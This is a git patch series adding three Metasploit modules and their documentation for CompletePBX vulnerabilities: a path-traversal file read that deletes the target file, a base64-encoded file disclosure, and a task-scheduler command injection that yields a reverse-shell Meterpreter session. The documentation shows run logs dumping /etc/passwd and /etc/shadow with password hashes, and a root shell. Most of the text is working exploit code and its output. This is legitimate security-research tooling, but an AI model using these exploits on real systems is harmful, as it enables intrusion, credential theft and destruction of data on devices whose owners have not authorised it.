From 2a008c83d1d80ffc246f5dee8dfb2b47eb89b7df Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Sun, 22 Jun 2025 09:07:20 +0200 Subject: [PATCH 01/19] Add auxiliary and exploit modules for Xorcom CompletePBX 5.2.35 CVEs (2025-2292, 30004, 30005, 30006) --- ...orcom_completepbx_diagnostics_file_read.md | 116 +++++++++ .../xorcom_completepbx_file_disclosure.md | 109 ++++++++ .../http/xorcom_completepbx_scheduler.md | 99 +++++++ ...orcom_completepbx_diagnostics_file_read.rb | 171 ++++++++++++ .../xorcom_completepbx_file_disclosure.rb | 119 +++++++++ .../http/xorcom_completepbx_scheduler.rb | 244 ++++++++++++++++++ 6 files changed, 858 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md create mode 100644 documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md create mode 100644 documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md create mode 100644 modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb create mode 100644 modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb create mode 100644 modules/exploits/linux/http/xorcom_completepbx_scheduler.rb diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md new file mode 100644 index 0000000000..b16bd53ce4 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md @@ -0,0 +1,116 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated Arbitrary File Read and Deletion** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue arises due to improper validation of the `systemDataFileName` parameter in the `diagnostics` module, +allowing an attacker to retrieve arbitrary files from the system. + +Additionally, this vulnerability **automatically deletes the requested file** after being accessed, +leading to potential data loss on the target. + +The vulnerability is identified as **CVE-2025-30005**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use auxiliary/admin/http/xorcom_completepbx_diagnostics_file_read +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Specify the file to read (before deletion): +``` +set TARGETFILE /etc/passwd +``` +7. Execute the module: +``` +run +``` +8. If successful, the contents of the specified file will be displayed before its deletion. + +## Options + +- `USERNAME`: Admin username for authentication. +- `PASSWORD`: Admin password for authentication. +- `TARGETFILE`: Path of the file to retrieve (**before automatic deletion**). + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 auxiliary(xorcom_completepbx_diagnostics_file_read) > run https://rnd-repo.cpbxmt-demo187.xorcom.com +[*] Running module against 142.93.233.32 + +[*] Attempting authentication with username: admin +[+] Authentication successful! Session ID: sid=c8f08002130196439747e488447260f48d595c51 +[*] Attempting to read file: ../../../../../../../../../../../etc/passwd +[*] ZIP file received, attempting to list files +[*] Files inside ZIP archive: + - ../../../../../../../../../../../etc/passwd + - full_20250318_160522 + - audit_20250318_160522.log +[+] Content of /etc/passwd: +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin +systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin +mysql:x:105:108:MySQL Server,,,:/nonexistent:/bin/false +postfix:x:106:110::/var/spool/postfix:/usr/sbin/nologin +tcpdump:x:107:112::/nonexistent:/usr/sbin/nologin +sshd:x:108:65534::/run/sshd:/usr/sbin/nologin +dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin +Debian-snmp:x:110:113::/var/lib/snmp:/bin/false +asterisk:x:111:114:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin +cc-cloud-rec:x:998:998::/var/lib/cc-cloud-rec:/sbin/nologin + +[!] WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it. +[*] Auxiliary module execution completed +``` + +### Impact + +- This vulnerability grants **file read access**, but also **automatically deletes** the retrieved file. +- Attackers can extract sensitive data (e.g., user credentials) while simultaneously causing **data loss** on the system. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md new file mode 100644 index 0000000000..644eb83d64 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md @@ -0,0 +1,109 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated File Disclosure** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue arises due to improper handling of user-supplied input +in the **core download functionality**, allowing an attacker to read arbitrary files on the system with **root privileges**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use auxiliary/admin/http/xorcom_completepbx_file_disclosure +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Specify the file to read: +``` +set TARGETFILE /etc/shadow +``` +7. Execute the module: +``` +run +``` +8. If successful, the contents of the specified file will be displayed. + +## Options + +- `USERNAME`: Admin username for authentication. +- `PASSWORD`: Admin password for authentication. +- `TARGETFILE`: Path of the file to retrieve (Base64-encoded in request). + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 auxiliary(admin/http/xorcom_completepbx_file_disclosure) > run http://192.168.56.101/ +[*] Running module against 192.168.56.101 +[*] Attempting authentication with username: admin +[+] Authentication successful! Session ID: sid=535c401396c04a4c92266c2d1457200e6f7c391a +[*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=) +[+] Content of /etc/shadow: +root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7::: +daemon:*:19829:0:99999:7::: +bin:*:19829:0:99999:7::: +sys:*:19829:0:99999:7::: +sync:*:19829:0:99999:7::: +games:*:19829:0:99999:7::: +man:*:19829:0:99999:7::: +lp:*:19829:0:99999:7::: +mail:*:19829:0:99999:7::: +news:*:19829:0:99999:7::: +uucp:*:19829:0:99999:7::: +proxy:*:19829:0:99999:7::: +www-data:*:19829:0:99999:7::: +backup:*:19829:0:99999:7::: +list:*:19829:0:99999:7::: +irc:*:19829:0:99999:7::: +_apt:*:19829:0:99999:7::: +nobody:*:19829:0:99999:7::: +systemd-network:!*:19829:::::: +systemd-timesync:!*:19829:::::: +messagebus:!:19829:::::: +avahi-autoipd:!:19829:::::: +sshd:!:19829:::::: +pbx:$y$j9T$u6FpdD4iJVvFEqtUSAoFP/$P5iBn5ljpYEwcuXj4F9n6SBlMgWyxjqBDK82ija9Te5:19829:0:99999:7::: +mysql:!:19829:::::: +postfix:!:19829:::::: +tcpdump:!:19829:::::: +Debian-snmp:!:19829:::::: +_chrony:!:19829:::::: +dnsmasq:!:19829:::::: +polkitd:!*:19829:::::: +asterisk:!:19829:::::: +cc-cloud-rec:!:19829:::::: +
Fatal error: Uncaught TypeError: proc_close(): supplied resource is not a valid process resource in /usr/share/ombutel/www/includes/helper.php:61 +Stack trace: +#0 /usr/share/ombutel/www/includes/helper.php(61): proc_close() +#1 [internal function]: ombutel\helper::ombutel\{closure}() #2 {main} thrown in /usr/share/ombutel/www/includes/helper.php on line 61
+ +[*] Auxiliary module execution completed +``` + +### Impact + +- This vulnerability grants **full read access to system files as root**. +- Attackers can retrieve **hashed passwords, SSH keys, and configuration files**, +leading to **privilege escalation** and potential full system compromise. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md new file mode 100644 index 0000000000..993f62bc0d --- /dev/null +++ b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md @@ -0,0 +1,99 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated Command Injection** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing +arbitrary command execution with web server privileges. + +Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit. +Even when creating a new user with maximum privileges, the vulnerability does not work. + +The vulnerability is identified as **CVE-2025-30004**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use exploit/linux/http/xorcom_completepbx_scheduler_rce +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Configure the payload: +``` +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +set LHOST [ATTACKER_IP] +set LPORT [LISTENER_PORT] +``` +7. Execute the module: +``` +run +``` +8. If successful, a **Meterpreter session** will be opened on the target. + +## Options + +- `USERNAME`: Admin username for authentication. +- `PASSWORD`: Admin password for authentication. + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.56.101/ +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if the target is running CompletePBX... +[+] Detected CompletePBX on 192.168.56.101:80 +[+] The target appears to be vulnerable. +[*] Attempting authentication with username: admin +[+] Authentication successful! Session ID: sid=3b6c002860ddb5ca104e25eaa439b35052c443df +[*] Creating malicious scheduled task with description: Ut quis eum sed. +[+] Malicious task successfully created. +[*] Retrieving latest task ID for description: Ut quis eum sed.... +[+] Found task with ID: 38 +[*] Executing malicious task ID 38... +[*] Sending stage (3045380 bytes) to 192.168.56.101 +[+] Task executed successfully! +[*] Sending delete request (mode=delete) for task ID 38... +[*] Sending delete request (mode=deleteConfirmed) for task ID 38... +[+] Task 38 deleted successfully! +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:33372) at 2025-03-18 17:18:23 +0100 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : localhost.localdomain +OS : Debian 12.5 (Linux 6.1.0-20-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Impact + +- This vulnerability grants **remote code execution** capabilities. +- Attackers can execute arbitrary commands as the **web server user**, potentially leading to full system compromise. +- Exploitation provides a **Meterpreter session** for post-exploitation activities. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb new file mode 100644 index 0000000000..9067f99989 --- /dev/null +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + update_info( + info, + 'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName', + 'Description' => %q{ + This module exploits an authenticated path traversal vulnerability in + Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the + `systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers + to retrieve arbitrary files from the system. + + Additionally, the exploitation of this vulnerability results in the **deletion** of the + requested file from the target system. + + The vulnerability is identified as CVE-2025-30005. + }, + 'Author' => ['Valentin Lobstein'], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-30005'], + ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RHOST, + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), + OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']), + OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd']) + ] + ) + end + + def login + print_status("Attempting authentication with username: #{datastore['USERNAME']}") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'userid' => datastore['USERNAME'], + 'userpass' => datastore['PASSWORD'] + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first + + unless sid_cookie + fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') + end + + print_good("Authentication successful! Session ID: #{sid_cookie}") + return sid_cookie + end + + def run + sid_cookie = login + target_file = "../../../../../../../../../../..#{datastore['TARGETFILE']}" + + print_status("Attempting to read file: #{target_file}") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'GET', + 'headers' => { + 'Cookie' => sid_cookie + }, + 'vars_get' => { + 'class' => 'diagnostics', + 'method' => 'stopMode', + 'systemDataFileName' => target_file + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + body = res.body.lines[0..-2].join + + if res.headers['Content-Type']&.include?('application/zip') + print_status('ZIP file received, attempting to list files') + + files_list = list_files_in_zip(body) + + if files_list.empty? + fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.') + end + + print_status("Files inside ZIP archive:\n - " + files_list.join("\n - ")) + + extracted_content = read_file_from_zip(body, File.basename(target_file), files_list) + + if extracted_content + print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}") + else + fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.') + end + else + print_good("Raw file content received:\n#{body}") + end + + print_warning('WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it.') + end + + def list_files_in_zip(zip_data) + files = [] + + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + files << entry.name + end + end + + files + end + + def read_file_from_zip(zip_data, target_filename, files_list) + file_content = nil + + possible_matches = files_list.select { |f| f.include?(target_filename) } + + if possible_matches.empty? + return nil + end + + correct_filename = possible_matches.first + + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + if entry.name == correct_filename + file_content = io.read + break + end + end + end + + file_content + end +end diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb new file mode 100644 index 0000000000..60bc4b949a --- /dev/null +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + update_info( + info, + 'Name' => 'CompletePBX Authenticated File Disclosure via Backup Download', + 'Description' => %q{ + This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35. + The issue resides in the backup download function, where user input is not properly validated, + allowing an attacker to access arbitrary files on the system as root. + + The vulnerability is triggered by setting the `backup` parameter to a Base64-encoded + absolute file path, prefixed by a comma `,`. This results in the server exposing the + file contents directly. + }, + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-2292'], + ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Privileged' => true, + 'DisclosureDate' => '2025-03-02', + 'Platform' => ['linux', 'unix'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RHOST, + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), + OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']), + OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow']) + ] + ) + end + + def login + print_status("Attempting authentication with username: #{datastore['USERNAME']}") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'userid' => datastore['USERNAME'], + 'userpass' => datastore['PASSWORD'] + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first + + unless sid_cookie + fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') + end + + print_good("Authentication successful! Session ID: #{sid_cookie}") + return sid_cookie + end + + def run + sid_cookie = login + encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE']) + + print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'GET', + 'headers' => { + 'Cookie' => sid_cookie + }, + 'vars_get' => { + 'class' => 'core', + 'method' => 'download', + 'backup' => encoded_path + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + if res.body.empty? + fail_with(Failure::NotVulnerable, 'No content retrieved, the server may not be vulnerable or the file is empty.') + end + + print_good("Content of #{datastore['TARGETFILE']}:\n#{res.body}") + end +end diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb new file mode 100644 index 0000000000..2f90c25fdb --- /dev/null +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -0,0 +1,244 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler', + 'Description' => %q{ + This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX + versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled + input is improperly sanitized, allowing arbitrary command execution with web server privileges. + + Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit. + Even when creating a new user with maximum privileges, the vulnerability does not work. + }, + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-30004'], + ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Privileged' => false, + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-03-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('USERNAME', [true, 'Valid CompletePBX username']), + OptString.new('PASSWORD', [true, 'Valid CompletePBX password']), + ]) + end + + def check + print_status('Checking if the target is running CompletePBX...') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + }) + + return Exploit::CheckCode::Unknown('No response from target.') unless res + return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 + + doc = res.get_html_document + + if doc.at('//meta[@name="description"][@content="CompletePBX"]') || + doc.at('//meta[@name="application-name"][@content="Ombutel"]') + + print_good("Detected CompletePBX on #{peer}") + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.') + end + + def login + print_status("Attempting authentication with username: #{datastore['USERNAME']}") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'userid' => datastore['USERNAME'], + 'userpass' => datastore['PASSWORD'] + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first + + unless sid_cookie + fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') + end + + print_good("Authentication successful! Session ID: #{sid_cookie}") + return sid_cookie + end + + def get_latest_task_id(sid_cookie, task_desc) + print_status("Retrieving latest task ID for description: #{task_desc}...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'vars_get' => { + 'class' => 'scheduler', + 'method' => 'tasks', + 'offset' => '0', + 'max' => '20', + 'search' => '' + }, + 'cookie' => sid_cookie + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target while fetching tasks') + end + + json_res = res.get_json_document + tasks = json_res['rows'] + + unless tasks + fail_with(Failure::UnexpectedReply, 'Failed to retrieve task list') + end + + tasks.each do |task| + if task[2] == task_desc + print_good("Found task with ID: #{task[0]}") + return task[0] + end + end + + fail_with(Failure::NotFound, "Could not find the task with description: #{task_desc}") + end + + def create_task(sid_cookie) + task_desc = Faker::Lorem.sentence(word_count: 4) + notes = Faker::Lorem.paragraph(sentence_count: 3) + print_status("Creating malicious scheduled task with description: #{task_desc}") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'script' => 'backup', + 'description' => task_desc, + 'starting' => Time.now.strftime('%Y-%m-%d %H:%M'), + 'interval' => '1', + 'interval_unit' => 'month', + 'parameters' => "$(#{payload.encoded})", + 'notes' => notes, + 'data' => '0', + 'class' => 'scheduler', + 'method' => 'save_task', + 'mode' => 'create' + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target while creating task') + end + + json_res = res.get_json_document + state = json_res['state'] + + if state == 'success' + print_good('Malicious task successfully created.') + return task_desc + else + fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') + end + end + + def run_task(sid_cookie, task_id) + print_status("Executing malicious task ID #{task_id}...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'class' => 'scheduler', + 'method' => 'run_task', + 'mode' => 'run', + 'data' => task_id.to_s + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target while executing task') + end + + print_good('Task executed successfully!') + end + + def delete_task(sid_cookie, task_id) + %w[delete deleteConfirmed].each do |mode| + print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...") + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'class' => 'scheduler', + 'method' => 'delete_task', + 'mode' => mode, + 'data' => task_id.to_s + } + }) + end + + print_good("Task #{task_id} deleted successfully!") + end + + def exploit + sid_cookie = login + task_desc = create_task(sid_cookie) + task_id = get_latest_task_id(sid_cookie, task_desc) + run_task(sid_cookie, task_id) + delete_task(sid_cookie, task_id) + end +end From 17b67dfbca6d941ef8e8947a8dfc7a90ac2d2089 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 24 Jun 2025 10:10:58 +0200 Subject: [PATCH 02/19] Add warning message before execution --- .../http/xorcom_completepbx_diagnostics_file_read.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 9067f99989..0b388cd6f7 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], 'Notes' => { - 'Stability' => [CRASH_SAFE], + 'Stability' => [CRASH_SAFE, OS_RESOURCE_LOSS], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } @@ -81,6 +81,10 @@ class MetasploitModule < Msf::Auxiliary end def run + print_warning('This exploit WILL delete the target file if permissions allow.') + + sleep(3) + sid_cookie = login target_file = "../../../../../../../../../../..#{datastore['TARGETFILE']}" @@ -89,9 +93,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => 'GET', - 'headers' => { - 'Cookie' => sid_cookie - }, + 'headers' => { 'Cookie' => sid_cookie }, 'vars_get' => { 'class' => 'diagnostics', 'method' => 'stopMode', @@ -130,8 +132,6 @@ class MetasploitModule < Msf::Auxiliary else print_good("Raw file content received:\n#{body}") end - - print_warning('WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it.') end def list_files_in_zip(zip_data) From fd5894d64a99c9bfb87742321980d71e7768ed1a Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Mon, 30 Jun 2025 17:13:26 +0200 Subject: [PATCH 03/19] Update modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb Co-authored-by: Diego Ledda --- .../scanner/http/xorcom_completepbx_diagnostics_file_read.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 0b388cd6f7..4027da2cd4 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -39,7 +39,6 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - Opt::RHOST, Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), From d0aaf70bbb8bce242885e82d201a0bc707a89b58 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Mon, 30 Jun 2025 17:13:33 +0200 Subject: [PATCH 04/19] Update modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb 